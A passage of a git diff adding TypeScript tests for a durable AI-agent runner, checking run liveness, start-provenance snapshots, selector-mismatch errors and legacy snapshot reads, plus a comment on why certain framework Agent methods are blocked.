+    const agent = createFlowsafeDurableAgent({ agent: testAgent(), runtime });
+    const runId = 'live-starting';
+    const entered = bridgeDeferred();
+    const release = bridgeDeferred();
+    const failure = new Error('fixture stream refusal');
+    const stream = vi
+      .spyOn(DurableAgent.prototype, 'stream')
+      .mockImplementation(async () => {
+        entered.resolve();
+        await release.promise;
+        throw failure;
+      });
+    const pending = agent
+      .streamUntilPersisted(
+        'first',
+        { runId },
+        'operator-1',
+        'human',
+        undefined,
+        undefined,
+        undefined,
+        startAuthority(),
+      )
+      .catch((error: unknown) => error);
+    try {
+      await entered.promise;
+      expect(globalRunRegistry.has(runId)).toBe(false);
+      expect(registryFor(agent).has(runId)).toBe(false);
+      expect(agent.isRunLive(runId)).toBe(true);
+      expect(agent.isRunLive('live-absent')).toBe(false);
+      await expect(agent.stream('duplicate', { runId })).rejects.toThrow(
+        'run id is live in the run registry — a registered run cannot be re-entered',
+      );
+      expect(stream).toHaveBeenCalledOnce();
+      expect(start).not.toHaveBeenCalled();
+    } finally {
+      release.resolve();
+      await pending;
+    }
+    expect(await pending).toBe(failure);
+    expect(agent.isRunLive(runId)).toBe(false);
+  });
+});
+
 describe('FlowsafeDurableAgent.streamUntilPersisted', () => {
   afterEach(() => {
     vi.restoreAllMocks();
@@ -651,6 +1922,10 @@ describe('FlowsafeDurableAgent.streamUntilPersisted', () => {
         { runId: 'run-1', untilIdle: true },
         'operator-1',
         'human',
+        undefined,
+        undefined,
+        undefined,
+        startAuthority(),
       ),
     ).rejects.toBeInstanceOf(InvalidRunRequestError);
 
@@ -673,6 +1948,10 @@ describe('FlowsafeDurableAgent.streamUntilPersisted', () => {
       options as never,
       'operator-1',
       'human',
+      undefined,
+      undefined,
+      undefined,
+      startAuthority(),
     );
     options.runId = 'mutated-run';
     options.structuredOutput = { schema: z.object({ answer: z.string() }) };
@@ -703,6 +1982,10 @@ describe('FlowsafeDurableAgent.streamUntilPersisted', () => {
         options as never,
         'operator-1',
         'human',
+        undefined,
+        undefined,
+        undefined,
+        startAuthority(),
       ),
     ).rejects.toThrow(/structuredOutput.*data property/);
     expect(structuredOutput).not.toHaveBeenCalled();
@@ -729,7 +2012,16 @@ describe('FlowsafeDurableAgent.streamUntilPersisted', () => {
     let settled = false;
 
     const pending = agent
-      .streamUntilPersisted('hello', { runId: 'run-1' }, 'operator-1', 'human')
+      .streamUntilPersisted(
+        'hello',
+        { runId: 'run-1' },
+        'operator-1',
+        'human',
+        undefined,
+        undefined,
+        undefined,
+        startAuthority(),
+      )
       .finally(() => {
         settled = true;
       });
@@ -763,7 +2055,16 @@ describe('FlowsafeDurableAgent.streamUntilPersisted', () => {
     const superGenerate = vi.spyOn(DurableAgent.prototype, 'generate');
     let settled = false;
     const pending = agent
-      .streamUntilPersisted('first', { runId: 'run-1' }, 'operator-1', 'human')
+      .streamUntilPersisted(
+        'first',
+        { runId: 'run-1' },
+        'operator-1',
+        'human',
+        undefined,
+        undefined,
+        undefined,
+        startAuthority(),
+      )
       .finally(() => {
         settled = true;
       });
@@ -799,6 +2100,10 @@ describe('FlowsafeDurableAgent.streamUntilPersisted', () => {
       },
       'operator-1',
       'human',
+      undefined,
+      undefined,
+      undefined,
+      startAuthority(),
     );
     const execution = drive(agent, 'run-1', INPUT);
 
@@ -820,6 +2125,10 @@ describe('FlowsafeDurableAgent.streamUntilPersisted', () => {
         { runId: 'run-1' },
         requestedBy,
         requestedByKind as never,
+        undefined,
+        undefined,
+        undefined,
+        startAuthority(),
       ),
     ).rejects.toBeInstanceOf(InvalidRunRequestError);
 
@@ -1503,6 +2812,10 @@ describe('FlowsafeDurableAgent.executeWorkflow failed run', () => {
       { runId: 'run-1' },
       'operator-1',
       'human',
+      undefined,
+      undefined,
+      undefined,
+      startAuthority(),
     );
     // #when the host-registered loop drives it
     await Promise.all([drive(agent, 'run-1', INPUT), pending]);
@@ -1511,3 +2824,767 @@ describe('FlowsafeDurableAgent.executeWorkflow failed run', () => {
     expect(emitError.mock.calls[0]?.[1]?.message).toBe('boom');
   });
 });
+
+async function d3AgentObservationFixture(threaded: boolean, customIds = false) {
+  const f = await cRealBridge();
+  const workflow = f.agent.getWorkflow();
+  if (customIds) {
+    Object.defineProperty(f.agent, 'id', { value: 'display-agent' });
+    Object.defineProperty(workflow, 'id', { value: 'actual-agent-loop' });
+    f.runtime.register(
+      workflow as unknown as import('@mastra/core/workflows').AnyWorkflow,
+    );
+  }
+  await f.runtime.status(workflow.id, 'd3-agent');
+  const snapshot = {
+    runId: 'd3-agent',
+    status: 'pending',
+    context: {},
+    requestContext: {
+      'flowsafe.runProvenance': {
+        version: 2,
+        startToken: 'S1',
+        attemptToken: 'H',
+        requestedBy: 'operator-1',
+        requestedByKind: 'human',
+        resumeCounts: [],
+        startIdentity: {
+          owner: { kind: 'human', id: 'operator-1' },
+          target: { kind: 'agent', id: 'writer', threadId: 'thread-1' },
+        },
+        agentStart: { threaded },
+      },
+    },
+    value: {},
+    serializedStepGraph: [],
+    activePaths: [],
+    activeStepsPath: {},
+    suspendedPaths: {},
+    resumeLabels: {},
+    waitingPaths: {},
+    timestamp: 100,
+  };
+  const seed = () =>
+    f.workflows.persistWorkflowSnapshot({
+      workflowName: workflow.id,
+      runId: 'd3-agent',
+      snapshot:
+        snapshot as unknown as import('@mastra/core/workflows').WorkflowRunState,
+    });
+  await seed();
+  return { ...f, workflow, snapshot, seed };
+}
+
+describe('FS8 D3 agent observation', () => {
+  it.each([
+    false,
+    true,
+  ])('R11 reads initial mode %s without input or optional pruned context', async (threaded) => {
+    const f = await d3AgentObservationFixture(threaded, true);
+    try {
+      const capability = f.workflows[FENCED_WORKFLOW_STORAGE];
+      assert(capability);
+      const read = vi.spyOn(capability, 'readSnapshot');
+      const state = await f.agent
+        .authoritativeAgentStartState(f.runtime, 'thread-1', 'd3-agent')
+        .catch((error) => error);
+      expect(state).toMatchObject({
+        kind: 'initial',
+        threaded,
+        execution: {
+          workflowId: 'actual-agent-loop',
+          startToken: 'S1',
+          owner: { id: 'operator-1' },
+          target: { id: 'writer', threadId: 'thread-1' },
+        },
+      });
+      expect(state).not.toHaveProperty('summary');
+      expect(read).toHaveBeenCalledOnce();
+      expect(f.counts.model).toBe(0);
+      await expect(
+        f.agent.proofExecutionFor(f.runtime, 'thread-1', 'd3-agent'),
+      ).resolves.toEqual({
+        tablePrefix: '',
+        workflowId: 'actual-agent-loop',
+        runId: 'd3-agent',
+        startToken: 'S1',
+      });
+    } finally {
+      f.start.mockRestore();
+      f.sql.close();
+    }
+  });
+
+  it.each([
+    'runtime',
+    'thread',
+    'agent',
+    'input',
+    'memory',
+    'audit',
+  ] as const)('R11 refuses present %s disagreements without engine work', async (corruption) => {
+    const f = await d3AgentObservationFixture(true);
+    try {
+      if (corruption === 'agent')
+        f.snapshot.requestContext[
+          'flowsafe.runProvenance'
+        ].startIdentity.target.id = 'wrong';
+      if (corruption === 'input')
+        Object.assign(f.snapshot.context, { input: { agentId: 'wrong' } });
+      if (corruption === 'memory')
+        Object.assign(f.snapshot.context, {
+          input: { agentId: 'writer', messageListState: { memoryInfo: null } },
+        });
+      if (corruption === 'audit')
+        Object.assign(f.snapshot.requestContext, {
+          'breakwater.auditContext': { threadId: 'wrong' },
+        });
+      await f.seed();
+      const capability = f.workflows[FENCED_WORKFLOW_STORAGE];
+      assert(capability);
+      const read = vi.spyOn(capability, 'readSnapshot');
+      const { RunStateUnreadableError } = await import(
+        '../do-runner/runtime.js'
+      );
+      const outcome = await f.agent
+        .authoritativeAgentStartState(
+          corruption === 'runtime' ? ({} as RunnerRuntime) : f.runtime,
+          corruption === 'thread' ? 'wrong' : 'thread-1',
+          'd3-agent',
+        )
+        .catch((error) => error);
+      expect(f.counts.model).toBe(0);
+      if (corruption === 'runtime') expect(read).not.toHaveBeenCalled();
+      else expect(read).toHaveBeenCalledOnce();
+      expect(outcome).toBeInstanceOf(RunStateUnreadableError);
+      if (corruption === 'thread' || corruption === 'agent')
+        expect(outcome).toBeInstanceOf(AgentRunSelectorMismatchError);
+      else expect(outcome).not.toBeInstanceOf(AgentRunSelectorMismatchError);
+    } finally {
+      f.start.mockRestore();
+      f.sql.close();
+    }
+  });
+
+  it('R11 returns S1 and its selected value when S2 replaces storage after the read', async () => {
+    const f = await d3AgentObservationFixture(false);
+    try {
+      Object.assign(f.snapshot, {
+        status: 'success',
+        result: { generation: 'S1' },
+      });
+      await f.seed();
+      const capability = f.workflows[FENCED_WORKFLOW_STORAGE];
+      assert(capability);
+      const read = capability.readSnapshot;
+      const selected = vi
+        .spyOn(capability, 'readSnapshot')
+        .mockImplementation(async (address) => {
+          const row = await read(address);
+          f.snapshot.requestContext['flowsafe.runProvenance'].startToken = 'S2';
+          Object.assign(f.snapshot, { result: { generation: 'S2' } });
+          await f.seed();
+          return row;
+        });
+      const state = await f.agent.authoritativeAgentStartState(
+        f.runtime,
+        'thread-1',
+        'd3-agent',
+      );
+      expect(state).toMatchObject({
+        kind: 'result',
+        execution: { startToken: 'S1' },
+        summary: { status: 'success', result: { generation: 'S1' } },
+      });
+      expect(selected).toHaveBeenCalledOnce();
+      expect(f.counts.model).toBe(0);
+    } finally {
+      f.start.mockRestore();
+      f.sql.close();
+    }
+  });
+
+  it.each([
+    false,
+    true,
+  ])('R13 rejects the agent persistence waiter when mode %s only persists pending after engine completion', async (threaded) => {
+    const f = await cRealBridge(undefined, undefined, threaded);
+    const runId = `agent-pending-${threaded}`;
+    const streams: Array<Awaited<ReturnType<typeof f.agent.stream>>> = [];
+    const stream = f.agent.stream.bind(f.agent);
+    vi.spyOn(f.agent, 'stream').mockImplementation(async (...args) => {
+      const value = await stream(...args);
+      streams.push(value);
+      return value;
+    });
+    try {
+      const persist = f.workflows.persistWorkflowSnapshot.bind(f.workflows);
+      vi.spyOn(f.workflows, 'persistWorkflowSnapshot').mockImplementation(
+        (input) =>
+          persist(
+            input.snapshot.status === 'pending'
+              ? input
+              : {
+                  ...input,
+                  snapshot: { ...input.snapshot, status: 'pending' as const },
+                },
+          ),
+      );
+      const authority = { ...startAuthority(), agentStart: { threaded } };
+      const result = await f.agent
+        .streamUntilPersisted(
+          'Return done.',
+          {
+            runId,
+            maxSteps: 1,
+            disableBackgroundTasks: true,
+            ...(threaded
+              ? { memory: { thread: 'thread-1', resource: 'thread-1' } }
+              : {}),
+          },
+          'operator-1',
+          'human',
+          'H',
+          undefined,
+          undefined,
+          authority,
+        )
+        .catch((error) => error);
+      const row = await f.workflows.loadWorkflowSnapshot({
+        workflowName: f.agent.getWorkflow().id,
+        runId,
+      });
+      expect(row?.status).toBe('pending');
+      expect(f.counts.model).toBe(1);
+      const { RunStartPendingError } = await import(
+        '../do-runner/execution-admission.js'
+      );
+      expect(result).toBeInstanceOf(RunStartPendingError);
+    } finally {
+      await globalRunRegistry
+        .get(runId)
+        ?.workflowExecution?.catch(() => undefined);
+      for (const value of streams) value.cleanup();
+      globalRunRegistry.delete(runId);
+      f.start.mockRestore();
+      f.sql.close();
+    }
+  });
+});
+
+async function d3LegacyAgentFixture(
+  version: 'v1' | 'absent',
+  threaded: boolean,
+) {
+  const f = await d3AgentObservationFixture(threaded, true);
+  const snapshot = structuredClone(
+    f.snapshot,
+  ) as unknown as import('@mastra/core/workflows').WorkflowRunState;
+  snapshot.status = 'success';
+  snapshot.result = { legacy: true };
+  snapshot.context.input = {
+    agentId: 'writer',
+    runId: 'd3-agent',
+    messageListState: {
+      memoryInfo: threaded
+        ? { threadId: 'thread-1', resourceId: 'thread-1' }
+        : null,
+    },
+  };
+  snapshot.requestContext = {
+    runId: 'd3-agent',
+    threadId: 'thread-1',
+    resourceId: 'thread-1',
+    'breakwater.auditContext': {
+      agentId: 'writer',
+      threadId: 'thread-1',
+      resourceId: 'thread-1',
+    },
+  };
+  if (version === 'v1')
+    snapshot.requestContext['flowsafe.runProvenance'] = {
+      version: 1,
+      attemptToken: 'legacy-H',
+      requestedBy: 'current-reviewer',
+      requestedByKind: 'service',
+      resumeCounts: [],
+    };
+  const seed = () =>
+    f.workflows.persistWorkflowSnapshot({
+      workflowName: f.workflow.id,
+      runId: 'd3-agent',
+      snapshot,
+    });
+  await seed();
+  return { ...f, snapshot, seed };
+}
+
+describe('agent selector mismatch classification', () => {
+  it.each([
+    ['pending', true, false, 'agent'],
+    ['success', false, false, 'thread'],
+    ['pending', false, true, 'both'],
+    ['success', true, true, 'agent'],
+    ['success', false, true, 'thread'],
+    ['pending', true, true, 'both'],
+  ] as const)('classifies a coherent foreign modern tuple from one row (%s threaded=%s metadata=%s %s)', async (status, threaded, metadata, foreign) => {
+    const f = await d3AgentObservationFixture(threaded);
+    try {
+      const agentId = foreign === 'thread' ? 'writer' : 'other-agent';
+      const threadId = foreign === 'agent' ? 'thread-1' : 'other-thread';
+      Object.assign(f.snapshot, { status, result: { selected: 'S1' } });
+      Object.assign(
+        f.snapshot.requestContext['flowsafe.runProvenance'].startIdentity
+          .target,
+        { id: agentId, threadId },
+      );
+      if (metadata) {
+        Object.assign(f.snapshot.requestContext, {
+          runId: 'd3-agent',
+          threadId,
+          resourceId: threadId,
+          'breakwater.auditContext': {
+            agentId,
+            threadId,
+            resourceId: threadId,
+          },
+        });
+        Object.assign(f.snapshot.context, {
+          input: {
+            agentId,
+            runId: 'd3-agent',
+            messageListState: {
+              memoryInfo: threaded ? { threadId, resourceId: threadId } : null,
+            },
+          },
+        });
+      }
+      await f.seed();
+      const capability = f.workflows[FENCED_WORKFLOW_STORAGE];
+      assert(capability);
+      const read = vi.spyOn(capability, 'readSnapshot');
+      const ordinary = vi.spyOn(f.workflows, 'loadWorkflowSnapshot');
+      const outcome = await f.agent
+        .authoritativeAgentStartState(f.runtime, 'thread-1', 'd3-agent')
+        .catch((error) => error);
+      expect(outcome).toBeInstanceOf(AgentRunSelectorMismatchError);
+      expect(outcome).toBeInstanceOf(RunStateUnreadableError);
+      expect(doErrorResponse(outcome).status).toBe(503);
+      expect(read).toHaveBeenCalledOnce();
+      expect(ordinary).not.toHaveBeenCalled();
+      read.mockClear();
+      await expect(
+        f.agent.proofExecutionFor(f.runtime, 'thread-1', 'd3-agent'),
+      ).rejects.toBeInstanceOf(AgentRunSelectorMismatchError);
+      expect(read).toHaveBeenCalledOnce();
+      expect(f.counts.model).toBe(0);
+    } finally {
+      f.start.mockRestore();
+      f.sql.close();
+    }
+  });
+
+  it.each([
+    ['v1', true, 'agent'],
+    ['v1', false, 'thread'],
+    ['absent', true, 'both'],
+    ['absent', false, 'agent'],
+  ] as const)('classifies a coherent foreign legacy tuple (%s threaded=%s %s)', async (version, threaded, foreign) => {
+    const f = await d3LegacyAgentFixture(version, threaded);
+    try {
+      const agentId = foreign === 'thread' ? 'writer' : 'other-agent';
+      const threadId = foreign === 'agent' ? 'thread-1' : 'other-thread';
+      Object.assign(f.snapshot.requestContext ?? {}, {
+        threadId,
+        resourceId: threadId,
+        'breakwater.auditContext': { agentId, threadId, resourceId: threadId },
+      });
+      Object.assign(f.snapshot.context.input ?? {}, {
+        agentId,
+        messageListState: {
+          memoryInfo: threaded ? { threadId, resourceId: threadId } : null,
+        },
+      });
+      await f.seed();
+      const capability = f.workflows[FENCED_WORKFLOW_STORAGE];
+      assert(capability);
+      const read = vi.spyOn(capability, 'readSnapshot');
+      const outcome = await f.agent
+        .authoritativeAgentStartState(f.runtime, 'thread-1', 'd3-agent', {
+          includeLegacy: true,
+        })
+        .catch((error) => error);
+      expect(outcome).toBeInstanceOf(AgentRunSelectorMismatchError);
+      expect(outcome).toBeInstanceOf(RunStateUnreadableError);
+      expect(outcome).not.toHaveProperty('execution');
+      expect(read).toHaveBeenCalledOnce();
+      expect(f.counts.model).toBe(0);
+    } finally {
+      f.start.mockRestore();
+      f.sql.close();
+    }
+  });
+
+  it.each([
+    'modern',
+    'v1',
+    'absent',
+  ] as const)('checks internal coherence before foreign lookup classification: %s', async (version) => {
+    const f =
+      version === 'modern'
+        ? await d3AgentObservationFixture(true)
+        : await d3LegacyAgentFixture(version, true);
+    try {
+      Object.assign(f.snapshot.requestContext ?? {}, {
+        'breakwater.auditContext': { agentId: 'contradiction' },
+      });
+      await f.seed();
+      const capability = f.workflows[FENCED_WORKFLOW_STORAGE];
+      assert(capability);
+      const read = vi.spyOn(capability, 'readSnapshot');
+      const outcome = await f.agent
+        .authoritativeAgentStartState(f.runtime, 'other-thread', 'd3-agent', {
+          includeLegacy: true,
+        })
+        .catch((error) => error);
+      expect(outcome).toBeInstanceOf(RunStateUnreadableError);
+      expect(outcome).not.toBeInstanceOf(AgentRunSelectorMismatchError);
+      expect(read).toHaveBeenCalledOnce();
+      expect(f.counts.model).toBe(0);
+    } finally {
+      f.start.mockRestore();
+      f.sql.close();
+    }
+  });
+
+  it.each([
+    'modern',
+    'v1',
+  ] as const)('classifies the selected foreign row when replacement storage matches the selector: %s', async (version) => {
+    const f =
+      version === 'modern'
+        ? await d3AgentObservationFixture(false)
+        : await d3LegacyAgentFixture(version, false);
+    try {
+      const capability = f.workflows[FENCED_WORKFLOW_STORAGE];
+      assert(capability);
+      const native = capability.readSnapshot;
+      const read = vi
+        .spyOn(capability, 'readSnapshot')
+        .mockImplementation(async (address) => {
+          const row = await native(address);
+          if (version === 'modern') {
+            const provenance =
+              f.snapshot.requestContext?.['flowsafe.runProvenance'];
+            provenance.startIdentity.target.threadId = 'replacement-thread';
+          } else {
+            Object.assign(f.snapshot.requestContext ?? {}, {
+              threadId: 'replacement-thread',
+              resourceId: 'replacement-thread',
+              'breakwater.auditContext': {
+                agentId: 'writer',
+                threadId: 'replacement-thread',
+                resourceId: 'replacement-thread',
+              },
+            });
+          }
+          await f.seed();
+          return row;
+        });
+      const outcome = await f.agent
+        .authoritativeAgentStartState(
+          f.runtime,
+          'replacement-thread',
+          'd3-agent',
+          { includeLegacy: true },
+        )
+        .catch((error) => error);
+      expect(outcome).toBeInstanceOf(AgentRunSelectorMismatchError);
+      expect(read).toHaveBeenCalledOnce();
+      expect(f.counts.model).toBe(0);
+    } finally {
+      f.start.mockRestore();
+      f.sql.close();
+    }
+  });
+
+  it.each([
+    'undefined',
+    'error',
+    'unknown run',
+  ] as const)('keeps failed selected sources unreadable rather than classifying a lookup miss: %s', async (failure) => {
+    const f = await d3AgentObservationFixture(false);
+    try {
+      const source = vi.spyOn(f.runtime, 'authoritativeStartState');
+      if (failure === 'undefined') source.mockResolvedValue(undefined as never);
+      else
+        source.mockRejectedValue(
+          failure === 'error'
+            ? new Error('source failed')
+            : new UnknownRunError(f.workflow.id, 'd3-agent'),
+        );
+      const outcome = await f.agent
+        .authoritativeAgentStartState(f.runtime, 'other-thread', 'd3-agent', {
+          includeLegacy: true,
+        })
+        .catch((error) => error);
+      expect(outcome).toBeInstanceOf(RunStateUnreadableError);
+      expect(outcome).not.toBeInstanceOf(AgentRunSelectorMismatchError);
+      expect(source).toHaveBeenCalledOnce();
+      expect(f.counts.model).toBe(0);
+    } finally {
+      f.start.mockRestore();
+      f.sql.close();
+    }
+  });
+});
+
+describe('FS8 D3 fix R1 legacy agent observations', () => {
+  it.each(
+    (['v1', 'absent'] as const).flatMap((version) =>
+      [false, true].map((threaded) => ({ version, threaded })),
+    ),
+  )('reads $version mode $threaded from the actual wrapper source once without generation authority', async ({
+    version,
+    threaded,
+  }) => {
+    const f = await d3LegacyAgentFixture(version, threaded);
+    try {
+      const capability = f.workflows[FENCED_WORKFLOW_STORAGE];
+      assert(capability);
+      const read = vi.spyOn(capability, 'readSnapshot');
+      const ordinary = vi.spyOn(f.workflows, 'loadWorkflowSnapshot');
+      const pending = f.agent.authoritativeAgentStartState(
+        f.runtime,
+        'thread-1',
+        'd3-agent',
+        { includeLegacy: true },
+      );
+      await expect(pending).resolves.toMatchObject({
+        kind: 'legacy',
+        provenanceVersion: version === 'v1' ? 1 : undefined,
+        address: {
+          tablePrefix: '',
+          workflowId: 'actual-agent-loop',
+          runId: 'd3-agent',
+        },
+        threaded,
+        summary: { status: 'success', result: { legacy: true } },
+      });
+      const result = await pending;
+      expect(result).not.toHaveProperty('execution');
+      expect(read).toHaveBeenCalledOnce();
+      expect(ordinary).not.toHaveBeenCalled();
+      expect(f.counts.model).toBe(0);
+      if (version === 'v1')
+        expect(result?.summary).toMatchObject({
+          requestedBy: 'current-reviewer',
+          requestedByKind: 'service',
+        });
+      await expect(
+        f.agent.authoritativeAgentStartState(f.runtime, 'thread-1', 'd3-agent'),
+      ).rejects.toBeInstanceOf(RunStateUnreadableError);
+      await expect(
+        f.agent.proofExecutionFor(f.runtime, 'thread-1', 'd3-agent'),
+      ).rejects.toBeInstanceOf(RunStateUnreadableError);
+    } finally {
+      f.start.mockRestore();
+      f.sql.close();
+    }
+  });
+
+  it.each([
+    'input-agent',
+    'input-run',
+    'context-run',
+    'context-thread',
+    'context-resource',
+    'audit-agent',
+    'audit-thread',
+    'audit-resource',
+    'memory-thread',
+    'missing-input',
+  ] as const)('rejects legacy %s contradictions in its one selected snapshot', async (field) => {
+    const f = await d3LegacyAgentFixture('v1', true);
+    try {
+      const context = f.snapshot.requestContext;
+      assert(context);
+      const input = f.snapshot.context.input as unknown as {
+        agentId: string;
+        runId: string;
+        messageListState: {
+          memoryInfo: { threadId: string; resourceId: string };
+        };
+      };
+      if (field === 'input-agent') input.agentId = 'wrong';
+      else if (field === 'input-run') input.runId = 'wrong';
+      else if (field === 'context-run') context.runId = 'wrong';
+      else if (field === 'context-thread') context.threadId = 'wrong';
+      else if (field === 'context-resource') context.resourceId = 'wrong';
+      else if (field === 'audit-agent')
+        context['breakwater.auditContext'].agentId = 'wrong';
+      else if (field === 'audit-thread')
+        context['breakwater.auditContext'].threadId = 'wrong';
+      else if (field === 'audit-resource')
+        context['breakwater.auditContext'].resourceId = 'wrong';
+      else if (field === 'memory-thread')
+        input.messageListState.memoryInfo.threadId = 'wrong';
+      else delete f.snapshot.context.input;
+      await f.seed();
+      const capability = f.workflows[FENCED_WORKFLOW_STORAGE];
+      assert(capability);
+      const read = vi.spyOn(capability, 'readSnapshot');
+      const result = await f.agent
+        .authoritativeAgentStartState(f.runtime, 'thread-1', 'd3-agent', {
+          includeLegacy: true,
+        })
+        .catch((error) => error);
+      expect(read).toHaveBeenCalledOnce();
+      expect(f.counts.model).toBe(0);
+      expect(result).toBeInstanceOf(RunStateUnreadableError);
+      expect(result).not.toBeInstanceOf(AgentRunSelectorMismatchError);
+    } finally {
+      f.start.mockRestore();
+      f.sql.close();
+    }
+  });
+
+  it('captures the legacy option and keeps the selected S1-era value when storage advances during a read', async () => {
+    const f = await d3LegacyAgentFixture('v1', false),
+      entered = bridgeDeferred(),
+      release = bridgeDeferred();
+    let pending: Promise<unknown> | undefined;
+    try {
+      const capability = f.workflows[FENCED_WORKFLOW_STORAGE];
+      assert(capability);
+      const native = capability.readSnapshot;
+      const read = vi
+        .spyOn(capability, 'readSnapshot')
+        .mockImplementation(async (address) => {
+          const row = await native(address);
+          entered.resolve();
+          await release.promise;
+          return row;
+        });
+      const options = { includeLegacy: true as const };
+      pending = f.agent
+        .authoritativeAgentStartState(
+          f.runtime,
+          'thread-1',
+          'd3-agent',
+          options,
+        )
+        .catch((error) => error);
+      await entered.promise;
+      Object.assign(options, { includeLegacy: false });
+      f.snapshot.result = { replacement: true };
+      await f.seed();
+      release.resolve();
+      const result = await pending;
+      expect(result).toMatchObject({
+        kind: 'legacy',
+        summary: { result: { legacy: true } },
+      });
+      expect(read).toHaveBeenCalledOnce();
+      expect(f.counts.model).toBe(0);
+    } finally {
+      release.resolve();
+      await pending;
+      f.start.mockRestore();
+      f.sql.close();
+    }
+  });
+
+  it('rejects a different expected Runtime before legacy source I/O', async () => {
+    const f = await d3LegacyAgentFixture('absent', false);
+    try {
+      const capability = f.workflows[FENCED_WORKFLOW_STORAGE];
+      assert(capability);
+      const read = vi.spyOn(capability, 'readSnapshot');
+      const result = await f.agent
+        .authoritativeAgentStartState(
+          {} as RunnerRuntime,
+          'thread-1',
+          'd3-agent',
+          { includeLegacy: true },
+        )
+        .catch((error) => error);
+      expect(read).not.toHaveBeenCalled();
+      expect(f.counts.model).toBe(0);
+      expect(result).toBeInstanceOf(RunStateUnreadableError);
+    } finally {
+      f.start.mockRestore();
+      f.sql.close();
+    }
+  });
+
+  it('does not fall back to another snapshot when the selected legacy-capable read fails', async () => {
+    const f = await d3LegacyAgentFixture('v1', false);
+    try {
+      const capability = f.workflows[FENCED_WORKFLOW_STORAGE];
+      assert(capability);
+      const read = vi
+        .spyOn(capability, 'readSnapshot')
+        .mockRejectedValue(new Error('source failed'));
+      const ordinary = vi.spyOn(f.workflows, 'loadWorkflowSnapshot');
+      const result = await f.agent
+        .authoritativeAgentStartState(f.runtime, 'thread-1', 'd3-agent', {
+          includeLegacy: true,
+        })
+        .catch((error) => error);
+      expect(read).toHaveBeenCalledOnce();
+      expect(ordinary).not.toHaveBeenCalled();
+      expect(f.counts.model).toBe(0);
+      expect(result).toBeInstanceOf(RunStateUnreadableError);
+    } finally {
+      f.start.mockRestore();
+      f.sql.close();
+    }
+  });
+
+  it('keeps its default strict even if a Runtime override returns a legacy arm without opt-in', async () => {
+    const f = await d3LegacyAgentFixture('v1', false);
+    try {
+      const legacy = await f.runtime.authoritativeStartState(
+        f.workflow.id,
+        'd3-agent',
+        { includeLegacy: true },
+      );
+      assert(legacy?.kind === 'legacy');
+      const read = vi
+        .spyOn(f.runtime, 'authoritativeStartState')
+        .mockResolvedValue(legacy as never);
+      const result = await f.agent
+        .authoritativeAgentStartState(f.runtime, 'thread-1', 'd3-agent')
+        .catch((error) => error);
+      expect(read).toHaveBeenCalledOnce();
+      expect(f.counts.model).toBe(0);
+      expect(result).toBeInstanceOf(RunStateUnreadableError);
+    } finally {
+      f.start.mockRestore();
+      f.sql.close();
+    }
+  });
+
+  it('retains strict wrapper inference and exposes no execution identity on the legacy type', () => {
+    expectTypeOf<
+      ReturnType<FlowsafeDurableAgent['authoritativeAgentStartState']>
+    >().toEqualTypeOf<Promise<AuthoritativeAgentStartState | null>>();
+    expectTypeOf<
+      Parameters<FlowsafeDurableAgent['authoritativeAgentStartState']>
+    >().toEqualTypeOf<[RunnerRuntime, string, string]>();
+    const readLegacy = (agent: FlowsafeDurableAgent, runtime: RunnerRuntime) =>
+      agent.authoritativeAgentStartState(runtime, 'thread', 'run', {
+        includeLegacy: true,
+      });
+    expectTypeOf(readLegacy).returns.toEqualTypeOf<
+      Promise<AuthoritativeAgentStartState | LegacyAgentRunState | null>
+    >();
+    expectTypeOf<
+      Extract<
+        keyof LegacyAgentRunState,
+        'execution' | 'startToken' | 'attemptToken'
+      >
+    >().toEqualTypeOf<never>();
+  });
+});
diff --git a/packages/flowsafe/src/agent-runner/durable-agent-runner.ts b/packages/flowsafe/src/agent-runner/durable-agent-runner.ts
index 937d20b7..3af8d67f 100644
--- a/packages/flowsafe/src/agent-runner/durable-agent-runner.ts
+++ b/packages/flowsafe/src/agent-runner/durable-agent-runner.ts
@@ -195,16 +195,71 @@
 // caveat as getWorkflow() returning a startable object, and reaching it takes a
 // deliberate private cast, which is a first-party act.
 //
-// Corroboration: breakwater's guarded handle reaches the same verdict on seven
-// of the eight members blocked here that live on Agent.prototype — network,
-// resumeNetwork, approveNetworkToolCall, declineNetworkToolCall,
-// generateLegacy, streamLegacy and sendToolApproval are all
-// `intentionallyUnavailable` (packages/breakwater/src/agent/agent.test.ts:824).
-// It diverges on listSuspendedRuns (:955), which it files under
-// `explicitlyNonExecution` — the same divergence as listActiveRuns (:935), and
-// for the same reason: a narrowed HANDLE can only omit, so a data-returning
-// member is harmless there, while an INSTANCE Mastra calls in-process must
-// throw.
+// Corroboration: breakwater's guarded handle reaches the same verdict on the
+// network four (network, resumeNetwork, approveNetworkToolCall,
+// declineNetworkToolCall), the legacy pair (generateLegacy, streamLegacy) and
+// sendToolApproval, which it files `intentionallyUnavailable`
+// (packages/breakwater/src/agent/agent.test.ts:824). It diverges on
+// listSuspendedRuns (:967), which it files under `explicitlyNonExecution` —
+// the same divergence as listActiveRuns (:947), and for the same reason: a
+// narrowed HANDLE can only omit, so a data-returning member is harmless there,
+// while an INSTANCE Mastra calls in-process must throw. The two members
+// blocked below for newer cores diverge the same way; each entry records it.
+//
+// Two more Agent-level members are blocked for cores NEWER than the pin. Read
+// from the @mastra/core 1.67.0 dist, which the mastra-compat canary installs;
+// offsets here are 1.67.0-vintage, in agent-Dk0N0Nlg.js unless another file is
+// named, and the 1.53.0 offsets above are left as the provenance of that read.
+// The pinned peer exposes neither member, so on 1.53.0 each refusal stands
+// where the base would have raised a TypeError, and shadows a real
+// implementation only once the peer moves.
+//
+//   - listActiveThreadRuns() (:38214) is the discovery ground one scope wider
+//     than listActiveRuns. It takes no arguments and returns `{ runId,
+//     resourceId, threadId }` for every thread on the pubsub instance with a
+//     run in flight (storage-MbGlKLkB.js:1011-1023), and that state is keyed
+//     by pubsub instance rather than by agent (`#statesByPubSub`, :150, read
+//     through #getState :294), so it narrows by neither principal nor agent
+//     where the two listings above at least narrow by agentId. The in-process
+//     sibling getActiveThreadRunId() stays non-execution because it makes the
+//     caller name the (resourceId, threadId) pair: it confirms where this
+//     enumerates. Breakwater files it `explicitlyNonExecution`
+//     (agent.test.ts:948) for the reason it files listActiveRuns there: a
+//     narrowed HANDLE can only omit, so a data-returning member is harmless
+//     there, while an INSTANCE Mastra calls in-process must throw. Cost, stated
+//     rather than left to be rediscovered: core's AgentController aggregates
+//     this member across its backing agents
+//     (agent-controller-CKgKFyMR.js:5722-5725), so that aggregation now throws.
+//     It is already unusable over this class — the same controller calls the
+//     blocked sendToolApproval() at :4089 and :4118.
+//   - __setThreadRuntimeAgent() (:33609) installs another agent as the target
